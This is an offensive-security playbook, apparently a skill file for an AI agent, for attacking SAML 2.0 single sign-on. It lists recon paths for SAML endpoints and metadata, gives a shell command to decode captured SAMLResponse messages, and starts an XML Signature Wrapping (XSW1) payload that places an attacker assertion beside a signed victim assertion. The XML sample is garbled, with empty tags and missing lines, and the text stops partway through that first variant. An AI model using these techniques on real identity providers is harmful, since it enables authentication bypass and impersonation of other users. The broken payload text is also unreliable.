saml

name	saml
description	SAML 2.0 attacks — XSW (XML Signature Wrapping) variants 1-8, comment injection, signature stripping, assertion forgery, IdP metadata abuse.
metadata	{"when_to_use":"saml sso identity provider assertion signature xsw signedinfo","mitre_attack":"T1606.002","subdomain":"authentication","upstream_ref":"skills/_corpus/payloads/SAML Injection/"}

SAML Attack Playbook

SAML is XML-based SSO used heavily in enterprise. Signatures protect assertions but XML's structural flexibility creates many opportunities to confuse signature validators.

1. Capture the flow

# Identify SAML in recon — look for:
# - /SAML/login, /sso/saml, /saml2/login
# - Form param "SAMLRequest" or "SAMLResponse" (base64 + deflate)
# - SP metadata: /SAML/metadata, /sp/metadata.xml
# - IdP metadata: /idp/metadata.xml

# Decode a SAML message in Burp via the SAML Raider plugin
# Or manually
echo "$SAMLResponse_base64" | base64 -d | xmllint --format -

2. XML Signature Wrapping (XSW) attacks

The classic SAML bug class. 8 canonical variants. SAML Raider implements all of them.

XSW1: Wrap signed Assertion inside Response, add evil assertion

<Response>
  <>...  
  
    attacker
    ...
  
  
  
    victim
    ...